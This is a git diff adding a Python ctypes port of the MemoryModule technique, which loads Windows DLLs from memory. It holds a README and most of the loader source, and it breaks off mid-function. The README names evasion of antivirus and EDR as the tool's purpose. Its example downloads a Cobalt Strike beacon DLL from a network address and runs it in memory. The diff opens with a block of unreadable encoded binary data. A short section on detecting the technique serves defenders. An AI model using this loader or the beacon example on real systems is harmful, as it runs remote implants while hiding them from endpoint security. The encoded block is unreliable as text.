zbA(*6*jVQ~7|+^_^DitR#Ov3X0rz|9k<;~LW5s?HxE>5_L~WQL;Pj=YgQ?xeN3|P( zi7r@=+UJOrZ8HH7E}j&NC?O|#hBNx05oC|r=k$VZemH0ZUwD#U^oB6O$y#o5HD(w=e*qOPSa#$wsbb}NcBZSS8q%ky9P2U2>ka-sfkI4K>#2{Z8T8d zPCBEOE1HG?&iuv*IDNyb6P^a3fit8?x55u8t;h zVO+fBX8ybB?S8k#JL2VtZ!~!PIivp*1Yrh?5Kssp`cuvM%O-_D!%Z^Gr1?tCX)88u z@Fz=hJv*|!G8f>Pk!rBWDDW8PTxR)7MKaoP#JA*U5-|#UlXF8Y24a4EUN)-Uz_f_GYtv89N%B5c!#qos;;J=y!h6S#oydT zTWT-imGc_8xyH7aA|-PI5>D4ABs;SIgu!;IiV*dZj6~KL_J*ReU@q8~5B+#B2o*)U(#51Gafz>!hOzva6wV4)}aOJ!9;>3A9ugk;n^P&L|D z^Xjd}SPN0m=i=D7^YE|dx{vAQXJ#(7DAdT;<|AOoP&q zebJ9}f%g%e>hz9kkQ;uPtg8ZE3C^>b_L%TsoG_^nNlEf-=_Exk<#LiI)d(~JJpv}{ zsw#sU9l!O!?PEGzjFQeLs340p)?C|XF_VmTwORZvez9c`mT%T7B)3|o7s#A!%<$7( zkoQaHZ_X|Fg2&QS)P%0MehurqniEvdcPg1zA*0_5tVz9tu7_`SWiIHn`$OWVE~uKt zyOQ{+8)}w7KAW{$3ey{PVk#vH=`%>%}eP$7s zy{S)Uv5iT=PK=3CJ7@D~lt9%+F>mazfgGi#{U34Z=@fhdwI%e zawD&dz)48Y@8X8WS(sHzNIDKS=70JPO!qg0@nXY?S0 zMuJl5?u%7E>prN?b8`GZ_1y2#DhZl2EH61EON?7vL={~a`=VHGgBaUKVAt7Pva)C! z%QtkqjO#oe1-)c=^wE4x*vv*6J{=H&B~nbI`^~&jb(CCe9kE(IFn)pSe~V{*>hn8f zW1{luf_}W8(;92=w!p@ywL7)(YalzBr-}!9U0Q4DlBgHv`S|+0+Jh-%qdjvbPv+Mf zF-S*b28nL1Md#u`)cs|)%%s$gD@f})R@bq6D?XUDM$Bw*C($97j~KrT)~WU zZ+H6;ChD&+O?)5%DzYYy?A*(b{BOt{g)+P*^)Yf%y{kjyBg1aIK%$M`JSmmSh?N@l zAd=n05d@N^i;$WRdmkI2JR%!=UyRW-&bwVslYZdbTQ*UeNq#>1H3ad^(VPnN;|Fw! zSMclTH)j}SnUfiA;@zJ1Xu1~Bk(`|otv819_*igANudbp8*&{F^pF;VagS`o1tM53sPNinauLuNa)7@e0B4P#JSpQ~sA}1yA?C=_T9THIMh0CyP zQ&h`U2Dy!kM)795>E%u?5AI#pX|!v%AbG{w$g#kkuhdXm@)mHQ?e0(Ai!WySQune& z@4Um$ve$k4+V8^cKY5w|$xqX$!jk|X`3HsP+V6!26%G}kD!5B!r38bApj>TTZ9ucO z;PJM}8XWAd_6SsnJn1M2ORF8f)!2l5*>VdiVS$Cu#H@`Z2=a8e)~YOL$XD*N@TA`y zOnz913X$irX%p4Va;*bvv1^q$1cP!Agmxp0h95z}okuf788R1K&*c&Aj{_~Mob66X zXTn>9$Ne@GU!{cQtB??&y&5fA>Uo(xLEQavqoI}6_g0uK{{d>GMeU8xM^hWVcsTLD zY}7xRop7Zjr!x>NW00t&_;z55=w)Pf!lA{>hbkP1x)5uR8LT7`4Ku%@MCQielqB6) z`X;U&I#qkxP>yS$9rV3jyDaV1k4!`1O36i1Gz6v-rZx+M)85MSR$AnQ=Mx4g9*VZ- zDiFaLIybZEl$YnYqF02ptGT|U>(bTMMNaC8Ng~al_G!RGF&}dIQj` +immagine +
+"Python memory module" AI generated pic - hotpot.ai +

+ + + +# What is it + +PythonMemoryModule is a Python ctypes porting of the [MemoryModule](https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/) technique originally published by [Joachim Bauch](https://github.com/fancycode/MemoryModule). It can load a dll using Python without requiring the use of an external library (pyd). +It leverages [pefile](https://github.com/erocarrera/pefile) to parse PE headers and ctypes. + +The tool was originally thought to be used as a [Pyramid](https://github.com/naksyn/Pyramid/) module to provide evasion against AV/EDR by loading dll payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo. + + +# Why it can be useful + + 1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as [pymemorymodule](https://pypi.org/project/pymemorymodule/) bindings) that can be flagged by AV/EDRs or can raise user's suspicion. + 2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory. + 3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker. + 4. you can load a stageless payload dll without performing injection or code execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory. + +# How to use it + +In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint. + +```python +import urllib.request +import ctypes +import pythonmemorymodule +request = urllib.request.Request('http://192.168.1.2/beacon.dll') +result = urllib.request.urlopen(request) +buf=result.read() +dll = pythonmemorymodule.MemoryModule(data=buf, debug=True) +startDll = dll.get_proc_addr('StartW') +assert startDll() +#dll.free_library() +``` +Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work. + +![](MemoryModuleCS.gif) + + +# How to detect it + +Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale. diff --git a/pythonmemorymodule/__init__.py b/pythonmemorymodule/__init__.py new file mode 100644 index 0000000..7197c84 --- /dev/null +++ b/pythonmemorymodule/__init__.py @@ -0,0 +1,862 @@ +#!/usr/bin/env python +# encoding: utf-8 +""" +Author: @naksyn (c) 2023 +Description: Python porting of MemoryModule technique +Instructions: See README on https://github.com/naksyn/PythonMemoryModule +Credits: + - C language code and original technique by Joachim Bauch https://github.com/fancycode/MemoryModule + - https://github.com/juntalis/memmodule + +Copyright 2023 +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), +to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, +and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, +DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE +OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +""" + +from ctypes import * +from ctypes.wintypes import * +import pythonmemorymodule.pefile as pe + +kernel32 = windll.kernel32 + + +# debug flag +debug_output = __debug__ + +# system DLLs +_kernel32 = WinDLL('kernel32') +_msvcrt = CDLL('msvcrt') + +# Check if the current machine is x64 or x86 +isx64 = sizeof(c_void_p) == sizeof(c_ulonglong) + +# type declarations +PWORD = POINTER(WORD) +PDWORD = POINTER(DWORD) +PHMODULE = POINTER(HMODULE) + +LONG_PTR = c_longlong if isx64 else LONG +ULONG_PTR2 = c_ulong +ULONG_PTR = c_ulonglong if isx64 else DWORD +UINT_PTR = c_ulonglong if isx64 else c_uint +SIZE_T = ULONG_PTR +POINTER_TYPE = ULONG_PTR +POINTER_TYPE2 = ULONG_PTR2 +LP_POINTER_TYPE = POINTER(POINTER_TYPE) +FARPROC = CFUNCTYPE(None) +PFARPROC = POINTER(FARPROC) +c_uchar_p = POINTER(c_ubyte) +c_ushort_p = POINTER(c_ushort) + +# Generic Constants +NULL = 0 + +# Win32/Module-specific constants +IMAGE_SIZEOF_SHORT_NAME = 8 +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 +IMAGE_SIZEOF_SECTION_HEADER = 40 + +# Struct declarations +class IMAGE_SECTION_HEADER_MISC(Union): + _fields_ = [ + ('PhysicalAddress', DWORD), + ('VirtualSize', DWORD), + ] + + +class IMAGE_SECTION_HEADER(Structure): + _anonymous_ = ('Misc',) + _fields_ = [ + ('Name', BYTE * IMAGE_SIZEOF_SHORT_NAME), + ('Misc', IMAGE_SECTION_HEADER_MISC), + ('VirtualAddress', DWORD), + ('SizeOfRawData', DWORD), + ('PointerToRawData', DWORD), + ('PointerToRelocations', DWORD), + ('PointerToLinenumbers', DWORD), + ('NumberOfRelocations', WORD), + ('NumberOfLinenumbers', WORD), + ('Characteristics', DWORD), + ] + +PIMAGE_SECTION_HEADER = POINTER(IMAGE_SECTION_HEADER) + + +class IMAGE_DOS_HEADER(Structure): + _fields_ = [ + ('e_magic', WORD), + ('e_cblp', WORD), + ('e_cp', WORD), + ('e_crlc', WORD), + ('e_cparhdr', WORD), + ('e_minalloc', WORD), + ('e_maxalloc', WORD), + ('e_ss', WORD), + ('e_sp', WORD), + ('e_csum', WORD), + ('e_ip', WORD), + ('e_cs', WORD), + ('e_lfarlc', WORD), + ('e_ovno', WORD), + ('e_res', WORD * 4), + ('e_oemid', WORD), + ('e_oeminfo', WORD), + ('e_res2', WORD * 10), + ('e_lfanew', LONG), + ] + +PIMAGE_DOS_HEADER = POINTER(IMAGE_DOS_HEADER) + +''' ref: https://github.com/wine-mirror/wine/blob/master/include/winnt.h + +typedef struct _IMAGE_TLS_DIRECTORY64 { + ULONGLONG StartAddressOfRawData; + ULONGLONG EndAddressOfRawData; + ULONGLONG AddressOfIndex; + ULONGLONG AddressOfCallBacks; + DWORD SizeOfZeroFill; + DWORD Characteristics; +} IMAGE_TLS_DIRECTORY64, *PIMAGE_TLS_DIRECTORY64; + + +typedef VOID (CALLBACK *PIMAGE_TLS_CALLBACK)( + LPVOID DllHandle,DWORD Reason,LPVOID Reserved +); +''' + +#ref: https://github.com/arizvisa/syringe/blob/1f0ea1f514426fd774903c70d03638ecd40a97c3/lib/pecoff/portable/tls.py + +class IMAGE_TLS_CALLBACK(c_void_p): + ''' + void NTAPI IMAGE_TLS_CALLBACK(PVOID DllHandle, DWORD Reason, PVOID Reserved) + ''' + +PIMAGE_TLS_CALLBACK = POINTER(IMAGE_TLS_CALLBACK) + +class IMAGE_TLS_DIRECTORY(Structure): + _fields_ = [ + ('StartAddressOfRawData', c_ulonglong), + ('EndAddressOfRawData', c_ulonglong), + ('AddressOfIndex', c_ulonglong), + ('AddressOfCallBacks', c_ulonglong), + ('SizeOfZeroFill', DWORD), + ('Characteristics', DWORD), + ] + +PIMAGE_TLS_DIRECTORY = POINTER(IMAGE_TLS_DIRECTORY) + + + +class IMAGE_DATA_DIRECTORY(Structure): + _fields_ = [ + ('VirtualAddress', DWORD), + ('Size', DWORD), + ] + +PIMAGE_DATA_DIRECTORY = POINTER(IMAGE_DATA_DIRECTORY) + + +class IMAGE_BASE_RELOCATION(Structure): + _fields_ = [ + ('VirtualAddress', DWORD), + ('SizeOfBlock', DWORD), + ] + +PIMAGE_BASE_RELOCATION = POINTER(IMAGE_BASE_RELOCATION) + + +class IMAGE_EXPORT_DIRECTORY(Structure): + _fields_ = [ + ('Characteristics', DWORD), + ('TimeDateStamp', DWORD), + ('MajorVersion', WORD), + ('MinorVersion', WORD), + ('Name', DWORD), + ('Base', DWORD), + ('NumberOfFunctions', DWORD), + ('NumberOfNames', DWORD), + ('AddressOfFunctions', DWORD), + ('AddressOfNames', DWORD), + ('AddressOfNamesOrdinals', DWORD), + ] + +PIMAGE_EXPORT_DIRECTORY = POINTER(IMAGE_EXPORT_DIRECTORY) + + +class IMAGE_IMPORT_DESCRIPTOR_START(Union): + _fields_ = [ + ('Characteristics', DWORD), + ('OriginalFirstThunk', DWORD), + ] + + +class IMAGE_IMPORT_DESCRIPTOR(Structure): + _anonymous_ = ('DUMMY',) + _fields_ = [ + ('DUMMY', IMAGE_IMPORT_DESCRIPTOR_START), + ('TimeDateStamp', DWORD), + ('ForwarderChain',DWORD), + ('Name', DWORD), + ('FirstThunk', DWORD), + ] + +PIMAGE_IMPORT_DESCRIPTOR = POINTER(IMAGE_IMPORT_DESCRIPTOR) + + +class IMAGE_IMPORT_BY_NAME(Structure): + _fields_ = [ + ('Hint', WORD), + ('Name', ARRAY(BYTE, 1)), + ] + +PIMAGE_IMPORT_BY_NAME = POINTER(IMAGE_IMPORT_BY_NAME) + +class IMAGE_OPTIONAL_HEADER(Structure): + _fields_ = [ + ('Magic', WORD), + ('MajorLinkerVersion', BYTE), + ('MinorLinkerVersion', BYTE), + ('SizeOfCode', DWORD), + ('SizeOfInitializedData', DWORD), + ('SizeOfUninitializedData', DWORD), + ('AddressOfEntryPoint', DWORD), + ('BaseOfCode', DWORD), + ('BaseOfData', DWORD), + ('ImageBase', POINTER_TYPE), + ('SectionAlignment', DWORD), + ('FileAlignment', DWORD), + ('MajorOperatingSystemVersion', WORD), + ('MinorOperatingSystemVersion', WORD), + ('MajorImageVersion', WORD), + ('MinorImageVersion', WORD), + ('MajorSubsystemVersion', WORD), + ('MinorSubsystemVersion', WORD), + ('Reserved1', DWORD), + ('SizeOfImage', DWORD), + ('SizeOfHeaders', DWORD), + ('CheckSum', DWORD), + ('Subsystem', WORD), + ('DllCharacteristics', WORD), + ('SizeOfStackReserve', POINTER_TYPE), + ('SizeOfStackCommit', POINTER_TYPE), + ('SizeOfHeapReserve', POINTER_TYPE), + ('SizeOfHeapCommit', POINTER_TYPE), + ('LoaderFlags', DWORD), + ('NumberOfRvaAndSizes', DWORD), + ('DataDirectory', IMAGE_DATA_DIRECTORY * IMAGE_NUMBEROF_DIRECTORY_ENTRIES), + ] + +PIMAGE_OPTIONAL_HEADER = POINTER(IMAGE_OPTIONAL_HEADER) + + +class IMAGE_FILE_HEADER(Structure): + _fields_ = [ + ('Machine', WORD), + ('NumberOfSections', WORD), + ('TimeDateStamp', DWORD), + ('PointerToSymbolTable', DWORD), + ('NumberOfSymbols', DWORD), + ('SizeOfOptionalHeader', WORD), + ('Characteristics', WORD), + ] + +PIMAGE_FILE_HEADER = POINTER(IMAGE_FILE_HEADER) + + +class IMAGE_NT_HEADERS(Structure): + _fields_ = [ + ('Signature', DWORD), + ('FileHeader', IMAGE_FILE_HEADER), + ('OptionalHeader', IMAGE_OPTIONAL_HEADER), + ] + +PIMAGE_NT_HEADERS = POINTER(IMAGE_NT_HEADERS) + +# Win32 API Function Prototypes +VirtualAlloc = _kernel32.VirtualAlloc +VirtualAlloc.restype = LPVOID +VirtualAlloc.argtypes = [LPVOID, SIZE_T, DWORD, DWORD] + +VirtualFree = _kernel32.VirtualFree +VirtualFree.restype = BOOL +VirtualFree.argtypes = [ LPVOID, SIZE_T, DWORD ] + +VirtualProtect = _kernel32.VirtualProtect +VirtualProtect.restype = BOOL +VirtualProtect.argtypes = [ LPVOID, SIZE_T, DWORD, PDWORD ] + +HeapAlloc = _kernel32.HeapAlloc +HeapAlloc.restype = LPVOID +HeapAlloc.argtypes = [ HANDLE, DWORD, SIZE_T ] + +GetProcessHeap = _kernel32.GetProcessHeap +GetProcessHeap.restype = HANDLE +GetProcessHeap.argtypes = [] + +HeapFree = _kernel32.HeapFree +HeapFree.restype = BOOL +HeapFree.argtypes = [ HANDLE, DWORD, LPVOID ] + +GetProcAddress = _kernel32.GetProcAddress +GetProcAddress.restype = FARPROC +GetProcAddress.argtypes = [HMODULE, LPCSTR] + +LoadLibraryA = _kernel32.LoadLibraryA +LoadLibraryA.restype = HMODULE +LoadLibraryA.argtypes = [ LPCSTR ] + +LoadLibraryW = _kernel32.LoadLibraryW +LoadLibraryW.restype = HMODULE +LoadLibraryW.argtypes = [ LPCWSTR ] + +FreeLibrary = _kernel32.FreeLibrary +FreeLibrary.restype = BOOL +FreeLibrary.argtypes = [ HMODULE ] + +IsBadReadPtr = _kernel32.IsBadReadPtr +IsBadReadPtr.restype = BOOL +IsBadReadPtr.argtypes = [ LPCVOID, UINT_PTR ] + +realloc = _msvcrt.realloc +realloc.restype = c_void_p +realloc.argtypes = [ c_void_p, c_size_t ] + +# Type declarations +DllEntryProc = WINFUNCTYPE(BOOL, HINSTANCE, DWORD, LPVOID) +PDllEntryProc = POINTER(DllEntryProc) +TLSexecProc = WINFUNCTYPE(BOOL, HINSTANCE, DWORD, LPVOID) +PTLSExecProc = POINTER(TLSexecProc) +HMEMORYMODULE = HMODULE + +# Constants +MEM_COMMIT = 0x00001000 +MEM_DECOMMIT = 0x4000 +MEM_RELEASE = 0x8000 +MEM_RESERVE = 0x00002000 +MEM_FREE = 0x10000 +MEM_MAPPED = 0x40000 +MEM_RESET = 0x00080000 + +PAGE_NOACCESS = 0x01 +PAGE_READONLY = 0x02 +PAGE_READWRITE = 0x04 +PAGE_WRITECOPY = 0x08 +PAGE_EXECUTE = 0x10 +PAGE_EXECUTE_READ = 0x20 +PAGE_EXECUTE_READWRITE = 0x40 +PAGE_EXECUTE_WRITECOPY = 0x80 +PAGE_NOCACHE = 0x200 + +ProtectionFlags = ARRAY(ARRAY(ARRAY(c_int, 2), 2), 2)( + ( + (PAGE_NOACCESS, PAGE_WRITECOPY), + (PAGE_READONLY, PAGE_READWRITE), + ), ( + (PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY), + (PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE), + ), +) + + +IMAGE_SCN_MEM_EXECUTE = 0x20000000 +IMAGE_SCN_MEM_READ = 0x40000000 +IMAGE_SCN_MEM_WRITE = 0x80000000 +IMAGE_SCN_MEM_DISCARDABLE = 0x02000000 +IMAGE_SCN_MEM_NOT_CACHED = 0x04000000 +IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040 +IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080 + +IMAGE_DIRECTORY_ENTRY_EXPORT = 0 +IMAGE_DIRECTORY_ENTRY_IMPORT = 1 +IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 +IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 +IMAGE_DIRECTORY_ENTRY_SECURITY = 4 +IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 +IMAGE_DIRECTORY_ENTRY_DEBUG = 6 +# IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7 +IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 +IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 +IMAGE_DIRECTORY_ENTRY_TLS = 9 +IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 +IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 +IMAGE_DIRECTORY_ENTRY_IAT = 12 +IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 +IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + +DLL_PROCESS_ATTACH = 1 +DLL_THREAD_ATTACH = 2 +DLL_THREAD_DETACH = 3 +DLL_PROCESS_DETACH = 0 + +INVALID_HANDLE_VALUE = -1 + +IMAGE_SIZEOF_BASE_RELOCATION = sizeof(IMAGE_BASE_RELOCATION) +IMAGE_REL_BASED_ABSOLUTE = 0 +IMAGE_REL_BASED_HIGH = 1 +IMAGE_REL_BASED_LOW = 2 +IMAGE_REL_BASED_HIGHLOW = 3 +IMAGE_REL_BASED_HIGHADJ = 4 +IMAGE_REL_BASED_MIPS_JMPADDR = 5 +IMAGE_REL_BASED_MIPS_JMPADDR16 = 9 +IMAGE_REL_BASED_IA64_IMM64 = 9 +IMAGE_REL_BASED_DIR64 = 10 + +_IMAGE_ORDINAL_FLAG64 = 0x8000000000000000 +_IMAGE_ORDINAL_FLAG32 = 0x80000000 +_IMAGE_ORDINAL64 = lambda o: (o & 0xffff) +_IMAGE_ORDINAL32 = lambda o: (o & 0xffff) +_IMAGE_SNAP_BY_ORDINAL64 = lambda o: ((o & _IMAGE_ORDINAL_FLAG64) != 0) +_IMAGE_SNAP_BY_ORDINAL32 = lambda o: ((o & _IMAGE_ORDINAL_FLAG32) != 0) +IMAGE_ORDINAL = _IMAGE_ORDINAL64 if isx64 else _IMAGE_ORDINAL32 +IMAGE_SNAP_BY_ORDINAL = _IMAGE_SNAP_BY_ORDINAL64 if isx64 else _IMAGE_SNAP_BY_ORDINAL32 +IMAGE_ORDINAL_FLAG = _IMAGE_ORDINAL_FLAG64 if isx64 else _IMAGE_ORDINAL_FLAG32 + +IMAGE_DOS_SIGNATURE = 0x5A4D # MZ +IMAGE_OS2_SIGNATURE = 0x454E # NE +IMAGE_OS2_SIGNATURE_LE = 0x454C # LE +IMAGE_VXD_SIGNATURE = 0x454C # LE +IMAGE_NT_SIGNATURE = 0x00004550 # PE00 + +class MEMORYMODULE(Structure): + _fields_ = [ + ('headers', PIMAGE_NT_HEADERS), + ('codeBase', c_void_p), + ('modules', PHMODULE), + ('numModules', c_int), + ('initialized', c_int), + ] +PMEMORYMODULE = POINTER(MEMORYMODULE) + +def as_unsigned_buffer(sz=None, indata=None): + if sz is None: + if indata is None: + raise Exception('Must specify initial data or a buffer size.') + sz = len(indata) + rtype = (c_ubyte * sz) + if indata is None: + return rtype + else: + tindata = type(indata) + if tindata in [ int, int ]: + return rtype.from_address(indata) + elif tindata in [ c_void_p, DWORD, POINTER_TYPE ] or hasattr(indata, 'value') and type(indata.value) in [ int, int ]: + return rtype.from_address(indata.value) + else: + return rtype.from_address(addressof(indata)) + +def create_unsigned_buffer(sz, indata): + res = as_unsigned_buffer(sz)() + for i, c in enumerate(indata): + if type(c) in [ str, str, str ]: + c = ord(c) + res[i] = c + return res + +def getprocaddr(handle,func): + kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p] + kernel32.GetProcAddress.restype = c_void_p + address = kernel32.GetProcAddress(handle, func) + return address + +class MemoryModule(pe.PE): + + _foffsets_ = {} + + def __init__(self, name = None, data = None, debug=False): + self._debug_ = debug or debug_output + pe.PE.__init__(self, name, data) + self.load_module() + + def dbg(self, msg, *args): + if not self._debug_: return + if len(args) > 0: + msg = msg % tuple(args) + print('DEBUG: %s' % msg) + + def load_module(self): + if not self.is_dll(): + raise WindowsError('The specified module does not appear to be a DLL.') + if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64: + raise WindowsError('The dll you attempted to load appears to be an 32-bit DLL, but you are using a 64-bit version of Python.') + elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64: + raise WindowsError('The dll you attempted to load appears to be an 64-bit DLL, but you are using a 32-bit version of Python.') + self._codebaseaddr = VirtualAlloc( + self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000) + self.OPTIONAL_HEADER.SizeOfImage, + MEM_RESERVE, + PAGE_READWRITE + ) + + if not bool(self._codebaseaddr): + self._codebaseaddr = VirtualAlloc( + NULL, + self.OPTIONAL_HEADER.SizeOfImage, + MEM_RESERVE, + PAGE_READWRITE + ) + if not bool(self._codebaseaddr): + raise WindowsError('Cannot reserve memory') + + codebase = self._codebaseaddr + self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase) + self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE) + self.pythonmemorymodule.contents.codeBase = codebase + self.pythonmemorymodule.contents.numModules = 0 + self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE) + self.pythonmemorymodule.contents.initialized = 0 + + # Committing memory. + VirtualAlloc( + codebase, + self.OPTIONAL_HEADER.SizeOfImage, + MEM_COMMIT, + PAGE_READWRITE + ) + self._headersaddr = VirtualAlloc( + codebase, + self.OPTIONAL_HEADER.SizeOfHeaders, + MEM_COMMIT, + PAGE_READWRITE + ) + if not bool(self._headersaddr): + raise WindowsError('Could not commit memory for PE Headers!') + + szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders + tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders]) + if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders): + raise RuntimeError('memmove failed') + del tmpheaders + + self._headersaddr += self.DOS_HEADER.e_lfanew + self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS) + self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr) + self.dbg('Copying sections to reserved memory block.') + self.copy_sections() + + + self.dbg('Checking for base relocations.') + locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase + if locationDelta != 0: + self.dbg('Detected relocations - Performing base relocations..') + self.perform_base_relocations(locationDelta) + + self.dbg('Building import table.') + self.build_import_table() + self.dbg('Finalizing sections.') + self.finalize_sections() + self.dbg('Executing TLS.') + self.ExecuteTLS() + + entryaddr = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.AddressOfEntryPoint + self.dbg('Checking dll for entry point.') + if entryaddr != 0: + entryaddr += codebase + self.dbg('Found entry at address: 0x%x', entryaddr) + DllEntry = DllEntryProc(entryaddr) + if not bool(DllEntry): + self.free_library(self.pythonmemorymodule) + raise WindowsError('dll has no entry point.\n') + self.dbg("calling DllEntry with DLL_PROCESS_ATTACH") + self.dbg('entryaddr address: 0x%x', entryaddr) + try: + success = DllEntry(codebase, DLL_PROCESS_ATTACH, 0) + except Exception as e: + print(e) + + if not bool(success): + self.free_library(self.pythonmemorymodule) + raise WindowsError('dll could not be loaded.') + self.pythonmemorymodule.contents.initialized = 1 + + def IMAGE_FIRST_SECTION(self): + return self._headersaddr + IMAGE_NT_HEADERS.OptionalHeader.offset + self.FILE_HEADER.SizeOfOptionalHeader + + def copy_sections(self): + codebase = self._codebaseaddr + sectionaddr = self.IMAGE_FIRST_SECTION() + numSections = self.pythonmemorymodule.contents.headers.contents.FileHeader.NumberOfSections + + for i in range(0, numSections): + if self.sections[i].SizeOfRawData == 0: + size = self.OPTIONAL_HEADER.SectionAlignment + if size > 0: + destBaseAddr = codebase + self.sections[i].VirtualAddress + dest = VirtualAlloc(destBaseAddr, size, MEM_COMMIT, PAGE_READWRITE ) + self.sections[i].Misc_PhysicalAddress = dest + memset(dest, 0, size) + continue + size = self.sections[i].SizeOfRawData + dest = VirtualAlloc(codebase + self.sections[i].VirtualAddress, size, MEM_COMMIT, PAGE_READWRITE ) + if dest <=0: + raise WindowsError('Error copying section no. %s to address: 0x%x',self.sections[i].Name.decode('utf-8'),dest) + self.sections[i].Misc_PhysicalAddress = dest + tmpdata = create_unsigned_buffer(size, self.__data__[self.sections[i].PointerToRawData:(self.sections[i].PointerToRawData+size)]) + if not memmove(dest, tmpdata, size): + raise RuntimeError('memmove failed') + del tmpdata + self.dbg('Copied section no. %s to address: 0x%x', self.sections[i].Name.decode('utf-8'), dest) + i += 1 + + + def ExecuteTLS(self): + codebase = self._codebaseaddr + + directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_TLS] + if directory.VirtualAddress <= 0: + self.dbg("no TLS address found") + return True + + tlsaddr = codebase + directory.VirtualAddress + tls = IMAGE_TLS_DIRECTORY.from_address(tlsaddr) + callback = IMAGE_TLS_CALLBACK.from_address(tls.AddressOfCallBacks) + callbackaddr=tls.AddressOfCallBacks + + while(callback): + TLSexec=TLSexecProc(callback.value) + tlsres= TLSexec( cast(codebase,LPVOID), DLL_PROCESS_ATTACH, 0) + if not bool(tlsres): + raise WindowsError('TLS could not be executed.') + else: + # 8 bytes step - this is the size of the callback field in the TLS callbacks table. Need to initialize callback to IMAGE_TLS_CALLBACK with + # the updated address, otherwise callback.value won't be null when the callback table is finished and the while won't exit + self.dbg("TLS callback executed") + callbackaddr+=sizeof(c_ulonglong) + callback= IMAGE_TLS_CALLBACK.from_address(callbackaddr) + + def finalize_sections(self): + sectionaddr = self.IMAGE_FIRST_SECTION() + numSections = self.pythonmemorymodule.contents.headers.contents.FileHeader.NumberOfSections + imageOffset = POINTER_TYPE(self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase & 0xffffffff00000000) if isx64 else POINTER_TYPE(0) + checkCharacteristic = lambda sect, flag: 1 if (sect.contents.Characteristics & flag) != 0 else 0 + getPhysAddr = lambda sect: section.contents.PhysicalAddress | imageOffset.value + + self.dbg("Found %d total sections.",numSections) + for i in range(0, numSections): + self.dbg("Section n. %d",i) + + section = cast(sectionaddr, PIMAGE_SECTION_HEADER) + size = section.contents.SizeOfRawData + if size == 0: + if checkCharacteristic(section, IMAGE_SCN_CNT_INITIALIZED_DATA): + self.dbg("Zero size rawdata section") + size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfInitializedData + elif checkCharacteristic(section, IMAGE_SCN_CNT_UNINITIALIZED_DATA): + size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfUninitializedData + self.dbg("Uninitialized data, return") + continue + if size == 0: + self.dbg("zero size section") + continue + self.dbg("size=%d",size) + oldProtect = DWORD(0) + self.dbg("execute %d",checkCharacteristic(section, IMAGE_SCN_MEM_EXECUTE)) + executable = checkCharacteristic(section, IMAGE_SCN_MEM_EXECUTE) + self.dbg("read %d",checkCharacteristic(section, 